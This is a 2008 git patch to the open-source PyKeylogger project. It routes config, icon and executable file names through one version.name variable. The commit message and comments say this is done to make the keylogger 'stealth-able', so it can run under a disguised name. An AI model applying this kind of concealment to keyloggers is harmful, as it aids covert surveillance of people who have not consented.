From 27b176b25904101433ba5e17acff85257fdc8511 Mon Sep 17 00:00:00 2001 From: nanotube Date: Fri, 11 Jul 2008 16:55:56 +0000 Subject: [PATCH] make pykeylogger stealth-able by a simple change of version.name. version.name now propagates to .ini, .val, and icon filenames that pykeylogger looks for by default, and also to the name of the executables built with py2exe. --- controlpanel.py | 10 +++++----- keylogger.pyw | 4 ++-- setup.py | 18 +++++++++--------- version.py | 8 ++++---- 4 files changed, 20 insertions(+), 20 deletions(-) diff --git a/controlpanel.py b/controlpanel.py index 020a8b3..d104a67 100644 --- a/controlpanel.py +++ b/controlpanel.py @@ -98,7 +98,7 @@ class PyKeyloggerControlPanel: textlabel = Label(self.root, text="PyKeylogger " + str(version.version), font=("arial", 12)) textlabel.pack() - photo = PhotoImage(file="pykeyloggericon_big.gif") + photo = PhotoImage(file=version.name + "icon_big.gif") imagelabel = Label(self.root, image=photo, height=160, width=200) imagelabel.photo = photo imagelabel.pack() @@ -202,7 +202,7 @@ class Command: if __name__ == '__main__': # some simple testing code - settings={"bla":"mu", 'maxlogage': "2.0", "configfile":"practicepykeylogger.ini"} + class BlankKeylogger: def stop(self): pass @@ -223,9 +223,9 @@ if __name__ == '__main__': class BlankOptions: def __init__(self): - self.configfile="pykeylogger.ini" - self.configval="pykeylogger.val" + self.configfile=version.name + ".ini" + self.configval=version.name + ".val" klobject=BlankKeylogger() cmdoptions=BlankOptions() - myapp = PyKeyloggerControlPanel(cmdoptions, klobject) \ No newline at end of file + myapp = PyKeyloggerControlPanel(cmdoptions, klobject) diff --git a/keylogger.pyw b/keylogger.pyw index 16ce56a..4b7ea8b 100644 --- a/keylogger.pyw +++ b/keylogger.pyw @@ -177,8 +177,8 @@ class KeyLogger: parser.add_option("-v", "--configval", action="store", dest="configval", help="filename of the configuration validation file. [default: %default]") parser.set_defaults(debug=False, - configfile="pykeylogger.ini", - configval="pykeylogger.val") + configfile=version.name + ".ini", + configval=version.name + ".val") (self.cmdoptions, args) = parser.parse_args() diff --git a/setup.py b/setup.py index 05de225..dd03509 100644 --- a/setup.py +++ b/setup.py @@ -29,11 +29,11 @@ setup( #~ options = {'py2exe': {'bundle_files': 1}}, #~ zipfile = None, - data_files = [("",["pykeylogger.ini", - "pykeylogger.val", - "pykeyloggericon.ico", - "pykeyloggericon.svg", - "pykeyloggericon_big.gif", + data_files = [("",[version.name+".ini", + version.name+".val", + version.name+"icon.ico", + version.name+"icon.svg", + version.name+"icon_big.gif", "CHANGELOG.TXT", "LICENSE.txt", "README.txt", @@ -42,16 +42,16 @@ setup( console = [ { "script": "keylogger.pyw", - "dest_base": "keylogger_debug", - "icon_resources": [(0, "pykeyloggericon.ico")] + "dest_base": version.name+"_debug", + "icon_resources": [(0, version.name+"icon.ico")] } ], windows = [ { "script": "keylogger.pyw", - "dest_base": "keylogger", - "icon_resources": [(0, "pykeyloggericon.ico")] + "dest_base": version.name, + "icon_resources": [(0, version.name+"icon.ico")] } ], ) diff --git a/version.py b/version.py index 8130d60..f0f4860 100644 --- a/version.py +++ b/version.py @@ -1,9 +1,9 @@ -name = "pykeylogger" -version = "1.0.2" -description = "Simple Python Keylogger" +name = "pykeylogger" # change this for stealth. you must also change the filenames of the .ini, .val, and the icon files and replace "pykeylogger" with what you put in here. +version = "1.0.3" +description = "Simple Python Keylogger" # change this for stealth url = "http://pykeylogger.sourceforge.net" license = "GPL" author = "Daniel Folkinshteyn" author_email = "nanotube@users.sf.net" -platform = "Windows NT/2000/XP/Vista, Linux" \ No newline at end of file +platform = "Windows NT/2000/XP/Vista, Linux" -- 2.45.1